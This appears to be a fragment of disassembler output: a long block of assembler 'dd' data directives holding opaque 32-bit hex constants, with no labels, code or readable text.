		dd 2A4E8A16h, 9C6DE7C0h, 0CDBA5A02h, 0C0B5CE05h, 1D2430h
		dd 1FA102EBh, 4C06B6B4h, 3CC4BA07h, 0EF514468h,	0BD601A47h
		dd 0DC951578h, 110790D3h, 807E42DEh, 0EF4697AFh, 8F3FEC02h
		dd 6072B6D7h, 7A4F50Ch,	3B08320Fh, 108370EBh, 0D04C3E18h
		dd 503F74h, 0EC02B3A9h,	1C02BC7h, 7186E235h, 0F0A01F1Bh
		dd 99001389h, 34807B14h, 4C22A7D6h, 6B01B31Ah, 0F910015Dh
		dd 3A2F70AFh, 0DF6E5A0Fh, 66D320ADh, 0FF61A7h, 0CC4D6A72h
		dd 529515B6h, 50D7E200h, 5BEAC51Ch, 839F008Eh, 0D2DDB3F0h
		dd 3C001656h, 0E72A1513h, 3E45E302h, 0AC93720Bh, 0B507BB64h
		dd 7908897h, 0EB1686Eh,	1E55DCC4h, 18CF8FBEh, 0DFC5880h
		dd 3B26E8B0h, 5F0F1BBBh, 0DA984035h, 0F228EDh, 67EC8B2Ah
		dd 0F456E622h, 0DA890A3h, 24BC7EA2h, 4E57B09h, 0FC90D82Ch
		dd 48BF4704h, 0B10024AEh, 0B52DF7FAh, 0C3F94BBBh, 533723A0h
		dd 45FBB300h, 0D131A994h, 526B04A5h, 0C7051601h, 0CAA4C0B0h
		dd 0ED000B7Fh, 0E0FF577Eh, 433DD1h, 9015BB75h, 0FE80BA48h
		dd 299C9F09h, 0E8AC00C2h, 7EC6DAF0h, 0F32B000Fh, 676E4B94h
		dd 2300A9BFh, 0CE982CE4h, 84CDABh, 45DC0BA4h, 0C4668C7Ch
		dd 87EAF900h, 908A3AFh,	4D8404EDh, 0C06F0D68h, 0AB95666Ch
		dd 0E3CFC883h, 0E62C989Dh, 523D0041h, 8B236FD1h, 80E68CE0h
		dd 0CDD7A300h, 981B2F78h, 96FE0027h, 64080441h,	5D1D164Ah
		dd 0EA808CA1h, 0BE9A0C2Fh, 0E1A40067h, 82186CDCh, 0A0069BCh
		dd 0B754BBADh, 3CB5653h, 0E8222059h, 0A5B8BA16h, 0FD00FEACh
		dd 57E52EA7h, 485E42B1h, 0E781730h, 52825162h, 0A87B45FDh
		dd 8040CCCDh, 2E00E6FCh, 72B58215h, 6370674h, 0D89211C8h
		dd 51EAD89Fh, 9EA12400h
		dd 905EA4B4h, 5AFB07EEh, 0A03A39ECh, 1496A2B2h,	0B7758401h
		dd 63D23774h, 105ED20h,	5A43DC9Eh, 87139791h, 173C041Eh
		dd 0ABA94F0h, 0A8402C6Dh, 0EE6E0B3Dh, 0A01D9101h, 0E8E3C115h
		dd 5A00638Dh, 41C5C7CEh, 0DFD7E6h, 304FC842h, 0A86D736Ch
		dd 889C1600h, 9E546712h, 82C4002Ah, 9229B97Fh, 1003EEBCh
		dd 3DCF882Ch, 5D6FE8A2h, 0F01A74BFh, 0B212001Dh, 662A6B7Fh
		dd 98024489h, 0CE93E750h, 49B381C5h, 2660BCE8h,	887F07A2h
		dd 0F76072F4h, 0E7B26373h, 75294BB0h, 0A828871Eh, 0DCFD5AC0h
		dd 0E3CAA1h, 0DD7FE11Ah, 4446C4BDh, 0CB819F04h,	6A805F63h
		dd 6B732Bh, 0E813115Ch,	620EF974h, 0FF8ECB24h, 0ED86DF00h
		dd 1F8BC2A6h, 0C0E0AFD4h, 749E3DE8h, 0D900A07Ah, 0B4986DC8h
		dd 882378h, 833E4124h, 262FA952h, 7A280E39h, 7D69C100h
		dd 8D6CC587h, 0DC6B092Bh, 4780BDF0h, 8C7B1002h,	5D03380Fh
		dd 859740ECh, 1C6DB605h, 0C0555A30h, 0E123B7A6h, 80C08F2Fh
		dd 0B8D8A4A3h, 96C83F53h, 216790h, 0C2053C8Dh, 3FD42h
		dd 1B06A5B9h, 18E8BC6Ah, 60A0D65Ch, 73E4DC62h, 9770A64h
		dd 80D8A3h, 0FC25B8C3h,	4D006649h, 0EF37D09Bh, 4BD719h
		dd 95F39F51h, 80CE3284h, 0FD01B58h, 6F73210Fh, 0D89E7B4h
		dd 19A101EBh, 8930A9D3h, 1EEC0060h, 7A94BEC0h, 400B942h
		dd 5C939AB7h, 13707Bh, 6ED44772h, 0A2F3C811h, 0F3A1343Ch
		dd 1CED7C07h, 0A690024Eh, 56955Bh, 3C26299Eh, 0BFB4C61Ah
		dd 0B99AE000h, 4064EC8Ch, 4542007Dh, 0A0671F30h, 0DD00A12Dh
		dd 72D21629h, 50E4A9h, 0B4C5D45Ah, 92666E64h, 0BABF8500h
		dd 37C447CAh, 88E274h, 0D88F919Dh, 13278B79h, 3B60E003h
		dd 90ED6CD4h, 266E2Bh, 0BFC41130h, 0D6E4120Bh, 0B798B600h
		dd 9B22B402h, 992A00E6h, 0AB787EA1h, 5F01FF56h,	35A2C7D4h
		dd 71E08ECCh, 493818BFh, 0C50E783Bh, 59B45701h,	0D0E8CF45h
		dd 7D1001EFh, 0DC4DC2FCh, 52DF2008h, 59E3A300h,	0EE03446Ch
		dd 0AFE40049h, 0FD89E2FAh, 0C9000446h, 42C40DCCh, 7E2E0F32h
		dd 30480025h, 5FE80690h, 8403F9A5h, 924BBC0h, 0D81DE3D9h
		dd 197E64h, 3F52AA88h, 0CB9D41DEh, 0B266507h, 1F2068C2h
		dd 0A0978BDDh, 7A4EB94h, 5E4D9E85h, 0CDED02Bh, 0BF03A263h
		dd 1609E544h, 0AA5DE8C4h, 10F900B9h, 7FC92F74h,	60037E4h
		dd 81A8C70Eh, 0D25FFEh,	32679065h, 5270C65Dh, 0F88FCE00h
		dd 98C51748h, 654230C1h, 0ABEA7520h, 113F93Eh, 761A8B94h
		dd 0CDD8D5C4h, 7CA7792h, 1BF8C7B9h, 301D21C9h, 0D1D860D6h
		dd 0F9FC5200h, 58BB2EEDh, 0AEF30F41h, 20804F05h, 0E9E6A425h
		dd 0B9500406h, 7E0A786h, 98BB0C36h, 132A806Eh, 90E02D6h
		dd 0C08650D4h, 14F59427h, 3B2F71D8h, 240EAFD2h,	36C0D72Ch
		dd 569EA5E4h, 4DA62705h, 6BC0BD35h, 6396EDh, 472AD8B4h
		dd 0FB4F548Dh, 9CD15C00h, 0F367CD77h, 14CE7210h, 0A8C914B8h
		dd 0D7592E00h, 0A1C1BE6Ah, 7DE0AD00h, 0D6FE21BAh, 30090756h
		dd 0F0740BAFh, 0AB902B28h, 0DB6B9700h, 0EAEC650Ch, 0FDF0DC45h
		dd 3BBC27A4h, 0BE8E2680h, 4DF985B8h, 0EF6F380Eh, 0FAFEE0DAh
		dd 2A5BCh, 94544CA4h, 0FF9CAA80h, 8A90E601h, 114D26B3h
		dd 9013F1F4h, 3D320058h, 0A480B51Bh, 0DC0027E5h, 1506F2BBh
		dd 4A7311h, 0E4055C84h,	0E2A9834Ch, 63DA9B00h, 0D455416h
		dd 1403009Fh, 414BF9B6h, 0A000ECFBh, 70BAD31Dh,	23884BDh
		dd 63B09FF0h, 0A660AEE8h, 0EDF40679h, 456E5300h, 0A5090561h
		dd 9C560790h, 84FB8DA6h, 0F56CC0C7h, 870E1849h,	40F136AAh
		dd 43D8ABEDh, 726BF232h, 345A0035h, 0D95D745Eh,	0D707BC4Dh
		dd 0D45C271Ch, 0C3CD4460h, 46BA007Ch, 0D4E3A42h, 653B40B3h
		dd 0F31CF807h, 2A8089CAh, 3E75CD8Fh, 0CED104B0h, 0FF61A8EEh
		dd 43BA2580h, 3F0600FEh, 0E1D077BCh, 7100AA49h,	5110A078h
		dd 7AD30818h, 0FC3E012Bh, 0DF88A868h, 3FB7E498h, 6CA4B301h
		dd 0F64A1B30h, 778C1E4h, 0A5CA370Bh, 274F6046h,	0EE0352FAh
		dd 47F6F28Dh, 32A18943h, 23FBECh, 0D0DC4FA2h, 46D2E269h
		dd 0F2018200h, 7461E33Dh, 0B694C0AAh, 8C1D984Eh, 0F740D800h
		dd 2228ABF1h, 2F660CE3h, 830E9A8h, 7962BE00h, 55FDCBB5h
		dd 7A5D00C5h, 33512004h, 2D001165h, 5BE6FB49h, 14F74D2h
		dd 7E47553Bh, 0DCF661D4h, 51E5670h, 0D2C0EB3Ch,	94E47591h
		dd 9A510043h, 333FFEEAh, 0BB03A356h, 0B4D7A1EDh, 6A09F95Eh
		dd 476ECh, 0DAC380C8h, 6175FB83h, 8371113Dh, 16544B09h
		dd 0EF88B032h, 176F00A9h, 0C339E929h, 0E80FD70Ah, 8A308EECh
		dd 5C008C71h, 0D3E2ED1Dh, 349E008Ch, 3F98B9B5h,	0C607C3F0h
		dd 1008B80Fh, 74AA46BEh, 918901B0h, 34A06D9Eh, 56808328h
		dd 0D8FC2AC6h, 4EACEDh,	0C2373105h, 5EF08E17h, 0F2C76900h
		dd 5930A455h, 0CD570B19h, 377BC77h, 0B8BDF937h,	0E2263Ah
		dd 0E302B298h, 96FDE71Ch, 3D4F951Eh, 0AF404C9Ch, 0B125FF97h
		dd 467682h, 0E6F21FB8h,	0A0B30E2Fh, 0EB07DAE6h,	7C0D3F58h
		dd 0F166CB1h, 81B4A980h, 0A476E3Ah, 0D6A5D41Fh,	6CB2B340h
		dd 7176F7B9h, 0F1F807DEh, 9730DB66h, 8315407Ah,	2F00FCFFh
		dd 0D419A732h, 0C5569DFh, 312BC93Fh, 0FF7FDB60h, 50ED402Fh
		dd 27F700EAh, 0D7D4C8CFh, 3C003B0Eh, 6E956123h,	7E2DE4E7h
		dd 0BA300135h, 56042C73h, 0CDC08065h, 99C4B33Ch, 0D0CE804Fh
		dd 40665A40h, 0E500286Bh, 162FB2Ch, 77E9BF1h, 46DDD921h
		dd 0C943418Bh, 2AD16054h, 24727500h, 6B4F227Fh,	0ADC700C1h
		dd 0F123396Dh, 7B04D305h, 371D01B8h, 0E0F8C481h, 4AFBA8CBh
		dd 8ED11D99h, 2F6B4074h, 0FC802A11h, 941AB800h,	0B09D00Dh
		dd 0B97F0022h, 0EBE959FBh, 0A8035C5Fh, 62820831h, 0F350C9E0h
		dd 4D6DD940h, 0EDA51844h, 0F795C824h, 802CB93Dh, 968AC51h
		dd 3B4E0FF5h, 0D181E97Ch, 72BFCDD4h, 0D938E470h, 2F174200h
		dd 86F51359h, 30B40352h, 0F675B5E7h, 2B9479F8h,	22812809h
		dd 0A70C8078h, 0A5E6DFh, 0FE73B96Dh, 0FA9CFDE4h, 287AFC90h
		dd 5B847809h, 0A84B80F0h, 0F6C2D9h, 0A69D143Dh,	36D7BA6Fh
		dd 4E7E7D00h, 7BE25A70h, 0A4514805h, 0DF845D00h, 0D866AF54h
		dd 7ECE0700h, 7217FB50h, 8A040F25h, 82875B3Ah, 0C3DD713Eh
		dd 7003E930h, 8100A796h, 33493C4Bh, 2293B6Fh, 60DF89DAh
		dd 8C806803h, 0F9314532h, 4C8FDE00h, 0CB6F409Bh, 67B700FAh
		dd 22CA5F90h, 4A00B31Bh, 815D7987h, 0F6124966h,	3D9F1F5Eh
		dd 0E76A4037h, 0BBFD7740h, 0EB795500h, 0B357FF0Bh, 1DBF0262h
		dd 2C93DE99h, 18545760h, 319D60Fh, 0FB0A2005h, 1DF2C4B2h
		dd 0FC4E5140h, 96614C00h, 6C1B2DFFh, 86563600h,	0A694ABBEh
		dd 2C9D1853h, 0A2E2B86Fh, 1752FC03h, 0EFFBB5h, 0B6D30EF8h
		dd 0BC92DCA8h, 0A11D0200h, 0D4C727CCh, 87F10397h, 0B7826463h
		dd 57E0488h, 6DCA1B18h,	8BA55C50h, 0B302ECF8h, 76B4C05h
		dd 0A0041910h, 0C4C07679h, 0E32D89h, 87AAF720h,	162B0CCAh
		dd 2842F03h, 9047BB36h,	28AE190h, 2C32D19Dh, 0A881F86Ch
		dd 0D1A3790Ch, 7A48808Dh, 7DFB8AC3h, 26A213B0h,	0CEC00F3h
		dd 6F548036h, 0F8BCF55Ah, 0F6711703h, 9798FF04h, 1300734Eh
		dd 45D01C61h, 0DF0BECh,	5B75E412h, 0C906A292h, 8FE61400h
		dd 9E7F748Bh, 0CD240097h, 30E21DD6h, 5260B222h,	8EE2CF0h
		dd 0D40C4814h, 6F81643Ah
		dd 9A5B1393h, 18832BCh,	0E3048FDCh, 8AD4DBEEh, 0C789089h
		dd 5BAA39FAh, 0F005CAA0h, 1524C7A4h, 0FC6D2090h, 0A8C80065h
		dd 61FF4C4Ah, 0A71D282Fh, 5280F172h, 0C4388D07h, 86E2A180h
		dd 0CA2F70h, 35FFB48Bh,	0CF732068h, 0E20072F4h,	74837AEBh
		dd 0DDF499h, 0FECC87E6h, 49F05ADh, 4B30F301h, 2CAB071Dh
		dd 79C902C0h, 0C04700B8h, 0F21B09ADh, 15006BD6h, 0AEA735C3h
		dd 2FD227h, 41863FE6h, 80D8E5B8h, 0ABD8200h, 0B353F692h
		dd 0A446006Dh, 5179CCEFh, 0E5009D49h, 607CCB99h, 0A31DEBh
		dd 6F98B02Ch, 478C3D27h, 97F1824h, 0CB11A00h, 160E24h
		dd 7DFECDBCh, 744805Bh,	86C8EB00h, 11FFEE19h, 828738CAh
		dd 7E04479Fh, 0E42D2400h, 4213A5C4h, 0EFC21F01h, 9807D2D0h
		dd 0F092AF43h, 64C31Ah,	2590BDEDh, 0E3403FB8h, 3D8ED500h
		dd 0C689F348h, 242C005Bh, 6B36B2D3h, 5C07F04Eh,	0FD2D265Eh
		dd 0B32E8710h, 0F6071F6Eh, 9FB6C0DAh, 0CE53EAE8h, 8046983Eh
		dd 3F37D534h, 0EF7008D6h, 0E6D0D2F5h, 5A160077h, 0B69CEF73h
		dd 7400E4FDh, 6DB014E7h, 0DE13D0h, 0B359B95Eh, 33B178A3h
		dd 588239h, 86420FFEh, 7314A4B5h, 780EE74h, 0C9EE279Ch
		dd 3D2AB06Bh, 4073D67Dh, 6DEAAA01h, 775C3184h, 0BCCDD4h
		dd 46E49A29h, 8AC021C3h, 4C26E900h, 0EC420ED3h,	0CA990093h
		dd 0E635CDD9h, 0D60F1FC3h, 0A1D24898h, 1CE9F3EDh, 1D29EF60h
		dd 259542D3h, 0F878F561h, 5500FE79h, 1B15EC20h,	1FB7A40Eh
		dd 1F78797h, 0C2538143h, 5F18C079h, 0D870E969h,	0A36D00D8h
		dd 0E825DC29h, 8D077DFDh, 0BD26160Ch, 79EC65E0h, 0FBF3141Eh
		dd 0E41EBC02h, 0EB1943BFh, 8490BE46h, 0BB00D2F6h, 0F47A2E2Ch
		dd 5D947h, 0E0ABF89Dh, 0F9C2B850h, 438D4F00h, 5659D578h
		dd 44BC000Ch, 14D9365Dh, 6FEE3D8Fh, 776B5F00h, 72CE5BD3h
		dd 875002Dh, 91222A9Eh,	0F8038C0Ch, 0BFFCA63h, 3BA00948h
		dd 37038578h, 0C09501A9h, 0C5E0F215h, 3874BF00h, 0ACDEF5C7h
		dd 8B680044h, 3EAD0834h, 0E53BB98Ah, 3A9591Eh, 0BFEC412Fh
		dd 4A8F8AAh, 71880261h,	696A0E7Ah, 3FE5DEC1h, 7D95EBA0h
		dd 89310098h, 0DD7F58EFh, 40093FCh, 0B16D4F53h,	2484B04Ah
		dd 6DA7EBh, 742F35F8h, 0A40CDDF0h, 98C75738h, 0ACA03B50h
		dd 0E78C1DB8h, 0B1C9126h, 0C1F4C600h, 7CFB256Dh, 0B3AC00DAh
		dd 0B9219DFAh, 5E06802Dh, 0B72CBF06h, 0D0C4000Ch, 0CB6D84FFh
		dd 0FD00AFE9h, 87134A39h, 0C4FAA04h, 1C74FCB2h,	0B879D610h
		dd 1BEAF900h, 926FB6BBh, 0E06A4F37h, 94003FA3h,	6B8A7BD4h
		dd 90082FD0h, 28E53C1Ch, 0B1B41F02h, 0E609134h,	80EAFF9Bh
		dd 68D3AF06h, 0F0884Bh,	0A55A9AE9h, 8189EC56h, 0C6B8700h
		dd 0E00FC5EFh, 5B48C0B4h, 0BFCFA337h, 5616BA00h, 86EFC868h
		dd 0D9EAB0h, 3472829Bh,	0FD190713h, 8E212309h, 7374037Ah
		dd 0F705E8C6h, 91E23DDCh, 804A879Dh, 9E6A9835h,	0D100DD6Fh
		dd 545D0729h, 6B6546h, 10206E87h, 0D2C10E42h, 0FCF59E7Fh
		dd 0CB1E1271h, 7983BEA4h, 0A091EBC3h, 457A39h, 62999730h
		dd 0FE669F10h, 423D0DE4h, 0B0713822h, 0E7D14005h, 34F63E4Bh
		dd 84BF6100h, 0BCEEB5B4h, 0DFD42300h, 3CE2E1B1h, 0D58D0079h
		dd 8706C6A6h, 0E5003591h, 555D7DC8h, 736C5327h,	447B73h
		dd 0A79001DAh, 0FDFC7097h, 0ACE03F0Fh, 4C71A0D0h, 1EC61B74h
		dd 3DE429B1h, 5289FE80h, 0B6128A49h, 16200503h,	907F862Dh
		dd 1327D8h, 806B0926h, 2588BFF0h, 6547661Eh, 450EF380h
		dd 78BD777Eh, 0DCEC1Ch,	1067EE83h, 6938924Ch, 18DB4100h
		dd 3B717DCCh, 0A087E0CEh, 1F45DFF0h, 8047784Ah,	3CF4F233h
		dd 0E100632Ch, 3B1AAAA7h, 0CA2925h, 82DD9186h, 19BD4052h
		dd 0B0AF7D1Ch, 21D1C9C0h, 0BC8738Fh, 66E9813Ah,	0E3008F0Bh
		dd 97DA88B8h, 5468E0Fh,	2BB1E085h, 7402B424h, 5AC90056h
		dd 0C328DDB3h, 543A114Ch, 55FC0E4Fh, 2BC8A039h,	29B9Eh
		dd 2001D77Dh, 6998F5E9h, 0E2464500h, 4BA47BC7h,	774D0A8Dh
		dd 0A48685h, 0F0ADE178h, 2E783AFAh, 4C2A5D1Ch, 1C9C1D98h
		dd 0A0C04C9h, 90CA7F96h, 0A0AFABE8h, 0DB3FA70Bh, 5BA20038h
		dd 7D0BFAFDh, 0B09BFE63h, 3BB512B4h, 9DC440B8h,	9F995486h
		dd 67660B00h, 0D6D8E9CDh, 936000C2h, 91F809DDh,	0B303A23Bh
		dd 0F66A959Ch, 882BD09Bh, 1AE80054h, 0A1129FAEh, 0CD00D546h
		dd 495F3C73h, 7702531h,	0CF0E63ABh, 0C4F8500Ah,	0A901475Bh
		dd 78600D4Fh, 75E09916h, 7BF7C10h, 9ED79030h, 509FF00Bh
		dd 730EFDB1h, 0A0049556h, 131D0E15h, 14FA00E7h,	4329DF06h
		dd 6000D7BBh, 2BFBA218h, 37ED52h, 0A24599Fh, 0CF557DCDh
		dd 84923C14h, 35007690h, 0BB7A28BAh, 24E2A3h, 11931C2Fh
		dd 294A9A96h, 0BA191600h, 903FC1B6h, 2AD00002h,	0A1BE2EAAh
		dd 2105CC0Dh, 58A7DF10h, 772238C7h, 981043D9h, 1E6278A8h
		dd 811EA16Ah, 0FA175899h, 0BF7E6001h, 0FC74D1E1h, 6600AB51h
		dd 0FB655E72h, 0DB29F8h, 6DB9AA7Ah, 0EF4854F4h,	3BA90E3Eh
		dd 0BD118085h, 0E8198B6Bh, 0CDCE018Dh, 0A12CB772h, 0A886ECE0h
		dd 0F2635303h, 0AAE43CDEh, 8D194079h, 0B2B61F75h, 3405C2DFh
		dd 80A1EC37h, 0DCDA0CEBh, 9100C5ABh, 2718551Ch,	1B4D49Ch
		dd 17561B92h, 0E8D39D02h, 5758FD8Fh, 0D79114CEh, 111D3418h
		dd 7FE8480h, 622F4CD8h,	60ACC918h, 5F3E3186h, 0A8C5070Fh
		dd 1470656Fh, 2640312h,	4745B80Ah, 0D848105Bh, 1CA06D6Eh
		dd 7000B22Dh, 6F6A2CDDh, 2A882FD7h, 2CCA6Eh, 9CE20F60h
		dd 0B4B0A8B8h, 7200D4E8h, 0E3461F0h, 306FBAFCh,	5C31AFA0h
		dd 3143A10h, 5B385A47h,	0EBA63280h, 9D30C9AFh, 5F63EC01h
		dd 0D218C804h, 80396230h, 21792FD4h, 470AC76Eh,	0B4002459h
		dd 57C08C18h, 61460FB3h, 49C00FECh, 0B24BD8Dh, 1E67163Eh
		dd 939FC5CFh, 70BBF8h, 0C4A4109Bh, 0EDB864h, 437BE257h
		dd 53C393E4h, 549A171Eh, 607ECD85h, 0A18FFC00h,	3D88D45h
		dd 0A9401DF1h, 0EE88D670h, 3B009417h, 9A991981h, 1084F7h
		dd 7AAD7D95h, 8F60BC36h, 34BB2C00h, 0F88073DCh,	3274C3h
		dd 850B69A7h, 0D9284D6Bh, 312C9F09h, 89D480E2h,	0CABCD4h
		dd 0EEE7E0Ah, 46B59012h, 339E771h, 4EA10075h, 0DFDA0AA3h
		dd 0BC941EB0h, 0B8434093h, 6CC9F01Fh, 219ABF00h, 3B3332F3h
		dd 0D5E4D6h, 0DBA8E53h,	61EC8CB5h, 0C0854A05h, 0AC42B16Fh
		dd 85D1BF90h, 0E2C1C2FCh, 898DA47h, 97121A4h, 9C4ED200h
		dd 0A51A544Fh, 3FA0F638h, 85006853h, 0DA431017h, 2500132Ch
		dd 0D5973A1Ch, 0A47D5D87h, 0DB4B00D8h, 0F8B7C1EEh, 0BAB0988Ch
		dd 3A6408C0h, 19661Fh, 5FE8DEBDh, 5173279Bh, 0C1184860h
		dd 0DBD006h, 9EAE752Eh,	457C7764h, 8AE80202h, 0DD66DE9Bh
		dd 1040FEE0h, 0A6424B0Fh, 47FA6685h, 0E8F040h, 736F9965h
		dd 0BB5F2F0Ch, 0D6085B66h, 6DE20021h, 0F81A9699h, 0F3488328h
		dd 8DDE3EF5h, 8958C436h, 7B9545DCh, 7510C14Ah, 9E2D3897h
		dd 742E920h, 631B365Ah,	0F5310096h, 0DC23D654h,	6900A0D1h
		dd 0CD380BE0h, 7AD7F40h, 792D451Dh, 1E20D366h, 3F486000h
		dd 9CCA9E15h, 2E880706h, 46BF0F04h, 5A002128h, 2C3A9DDEh
		dd 47A996h, 544DF8EAh, 0D88ED318h, 80902168h, 8C37730Bh
		dd 0C110CFh, 124E61DFh,	9AAF6662h, 0F450FD00h, 74E0E449h
		dd 0EEC504B5h, 0C170633Bh
		dd 0D0CC4FBAh, 291C3E40h, 4E00067Ah, 46DCE56Dh,	6FE47485h
		dd 0A7C021B2h, 2071C005h, 4AB16000h, 0C826FEFAh, 0EC400CBFh
		dd 0C928C4F1h, 1C00A173h, 0B362A7Fh, 0CC8556C5h, 9721E508h
		dd 0CB071CF8h, 47A301A0h, 7EC34B51h, 5C09C8h, 635EC6A8h
		dd 3E416516h, 39D4EE30h, 0BB110BEh, 0D3361778h,	565D87D5h
		dd 0F0833880h, 0DEE076Bh, 21248950h, 8098DFD5h,	372EC139h
		dd 0C046497Dh, 8C076011h, 0B106D86Eh, 29CFC525h, 38F43008h
		dd 8CEC8520h, 3AA8BF18h, 73234010h, 12780071h, 94B52972h
		dd 3E01C669h, 0B86B3D5Dh, 2880BA34h, 83546AFDh,	6E0EEAEBh
		dd 807B5EA2h, 0BB8006B0h, 0CB8F01CFh, 5A4D3BF8h, 74E883ACh
		dd 735C0A4h, 2AE00441h,	9FC05C49h, 0A046EA0Ah, 4183D85Eh
		dd 0D13FADh, 0AF013510h, 1F3D4E0Ch, 0F333D404h,	0A687F758h
		dd 0E51E205Fh, 0DEA02Ch, 9624015Fh, 80FCFE7h, 0FC32B007h
		dd 0C960CA68h, 5870DBF4h, 0E0508721h, 62910FA2h, 5E1968Fh
		dd 0D10C4EA6h, 0AA218014h, 0AE0919Ah, 0DA5B001Fh, 0D2AB374Ah
		dd 66330376h, 98545028h, 311925EAh, 2739241Fh, 2EFFF092h
		dd 10550B37h, 7EC5DFB0h, 0ADF40376h, 0ACEA8E6Ah, 80685AA1h
		dd 0C6174D20h, 1168952h, 9E0BF8EBh, 10762F61h, 7B9F85E6h
		dd 4CD970A7h, 7060B5FAh, 6EDA9C0Dh, 0F7EA90C7h,	9A00E837h
		dd 61E55E3h, 9D17F24h, 8D0D9827h, 38348FA8h, 9A01A083h
		dd 28005863h, 486C94F3h, 0CF7273h, 0AA33E216h, 4FDE7484h
		dd 9E001B7Bh, 0C9D2306Dh, 7C344Ah, 25AE9C97h, 4F5D44F9h
		dd 24B50100h, 3B60A2F7h, 8632000Bh, 6D9D82D9h, 727BE38Ch
		dd 2634B500h, 9E74DD6Bh, 335C0094h, 813964FEh, 3C16B251h
		dd 0DC039D88h, 0E88B8624h, 263C666h, 0F5A7439h,	209E3BB3h
		dd 897FFB10h, 2862F4C0h, 300E0B56h, 0D9E75h, 0A594A74Bh
		dd 0F4ECF0EEh, 600FF8F1h, 9562063h, 71032D4Bh, 0AF0C16B2h
		dd 5458150h, 0FBB01E10h, 9C84A250h, 7408C160h, 0B0507F0h
		dd 0D5BA4647h, 71C8D980h, 4360A93Bh, 5CDF1BF0h,	2E1754Fh
		dd 1E9DF725h, 0A8A0215Fh, 0E2D747FFh, 6A559200h, 2A23E581h
		dd 0C8EC0E38h, 0D81D3016h, 0F39E684Ah, 683C6229h, 6B4B0400h
		dd 86F00595h, 520844h, 0AEF84BEDh, 5DA6C3E1h, 0EB53C0FFh
		dd 994F5B0Ah, 90B2D8BCh, 4F122755h, 0AC8B28C3h,	94D41000h
		dd 4EF5BDD2h, 0DDE19B2h, 50E5085Fh, 0CB703684h,	40F12000h
		dd 0F603A360h, 0AFA1C012h, 0BEEAFB45h, 42FD1976h, 0A7304630h
		dd 46F5E0D2h, 1E82286h,	0FCCB6F37h, 0D48EB94Fh,	5F20EFDDh
		dd 9520C551h, 84C44098h, 0B386A1AFh, 0D8B26E50h, 1294E93Eh
		dd 184B766Fh, 0E31C006Dh, 3B08BB58h, 747912FFh,	214763FEh
		dd 30D727F9h, 0E8351638h, 7B31EF0Eh, 4C43A0C0h,	7E2FA380h
		dd 0F8E1C0E5h, 0BD0831BAh, 0E822EA04h, 66C0B6C4h, 0CF720C3h
		dd 9CFA6DB8h, 0FE0074F9h, 45221D44h, 3390FC42h,	0A908532Bh
		dd 3C642100h, 32B3DE1Dh, 0C7B82Fh, 298119A0h, 9D8FA76Dh
		dd 27460090h, 0A84B0101h, 0CEE8D94h, 0E5F8804h,	18604B00h
		dd 0B29A2316h, 0B60C3037h, 2FE85671h, 615828C0h, 5C6270h
		dd 7D97180Ah, 6FB57EB7h, 0D79D6A1Bh, 3553D031h,	8A72ADh
		dd 711E348Bh, 87921F5h,	6B22B300h, 11F38077h, 91572876h
		dd 0ABE301F0h, 0FCE88A37h, 644BF279h, 0E20D07E0h, 90857319h
		dd 6181AD9h, 94914B04h,	502CF095h, 874BEF3Dh, 0BF01A89Bh
		dd 2A43C00Eh, 48D4D0A5h, 3E23FC68h, 954BCA01h, 284AF594h
		dd 4BB1AC00h, 9BED321h,	98C84101h, 9961D90Eh, 72758030h
		dd 6779806Eh, 83067100h, 0EE70519Dh, 661A01D5h,	7572C3CAh
		dd 65E181F3h, 5830DDFh,	0AF7DC8h, 2CE2AD6h, 8ADD8FC6h
		dd 9EF5FE09h, 31500EB1h, 4DE32280h, 0A2140BBh, 1ED81113h
		dd 178E3A2Ah, 45B2C05Fh, 133A3B0h, 0A3961E8h, 22F23179h
		dd 0ECC00028h, 466E7113h, 9447D9Eh, 0A0F8DC89h,	40D660A4h
		dd 59877753h, 0B8C400B3h, 0C65894ADh, 0F8FA098Ch, 43C33700h
		dd 1D9C6065h, 0B67900A7h, 0D347314Dh, 0FF006323h, 0DC35D40h
		dd 0F0623F39h, 1CB3F4D1h, 0C0EEF23Ch, 0D57DEDFAh, 4CA0AD4Ch
		dd 0D0F5189Ah, 0BD03EE2Ah, 0FA82472h, 0F5738812h, 97320EFCh
		dd 6ED21578h, 939000Ch,	5A02AA73h, 24FA4D1Bh, 41AE0803h
		dd 8F9094DFh, 8700E5A8h, 7F9A696h, 291A40F3h, 0BE074BAh
		dd 0CC5E9BDAh, 0BBA23700h, 0FDA55Eh, 0E687576Bh, 0EB860EC8h
		dd 79311205h, 6C006F02h, 92D72680h, 6549C0DCh, 0B4B1956h
		dd 0F5C5F401h, 6E166A2Fh, 8A1C309Dh, 0E0D88131h, 0B893FFA0h
		dd 2FB88D4Ah, 58802049h, 62452E1Dh, 60AE448Ch, 0CD1D5001h
		dd 8FE31FDBh, 1AF4B034h, 914F8BD7h, 0F900E466h,	0C2D886Fh
		dd 85C1F8h, 5EDF67EAh, 3977EBFFh, 4418D69h, 6A605DD8h
		dd 0F6239FCBh, 0E6115Eh, 27CB72B4h, 60758247h, 1FD7793Bh
		dd 171FA9D2h, 0DB0ADD8Ah, 20079814h, 80876C2Dh,	0D9603A8h
		dd 95A13CF1h, 0BCAC532Eh, 0C0840AE7h, 452C1D46h, 5E8E5243h
		dd 0B5701D20h, 8C09E329h, 80055C93h, 9033E681h,	979133D5h
		dd 7DA2C299h, 2504C04Ch, 38BB46E3h, 9AC9F140h, 68394D40h
		dd 0AD041C3Fh, 365AAE40h, 38C21EE8h, 4CBF9BE7h,	0FE85F203h
		dd 57C8A5F4h, 4DFA3F6Eh, 0D5E2DD1Eh, 6B528B01h,	199D68CAh
		dd 0A5A83F76h, 0C0C83D14h, 0CA0F1300h, 0DAE6B157h, 216408CCh
		dd 76D8002Ah, 0AA3757Eh, 250E24CCh, 9EE72B27h, 0A4307B83h
		dd 9D10C9A8h, 669F9198h, 0FE03045Bh, 0F4BC69D1h, 0A893A1D0h
		dd 24D82081h, 0D4F3A076h, 2007785Dh, 0C1C0533Ch, 53DBA60h
		dd 87130649h, 0BE0F29A9h, 0CF8BE101h, 0E3404299h, 70B27CE4h
		dd 90AF0068h, 0FE9221DFh, 7DE8CB85h, 0D14C9100h, 0BC4BF509h
		dd 47FB00EEh, 0B431B298h, 8F006BC8h, 4938DB34h,	1C811AECh
		dd 4FFD6275h, 0BBA0E225h, 85487254h, 98EE3Ch, 979C41B5h
		dd 0A0AFE9A4h, 3799D5h,	11E061C6h, 47B2CE84h, 40152E30h
		dd 136E4Ch, 0F1D845CBh,	7EEDFFD0h, 3A3EDAE0h, 0A9E4806Ch
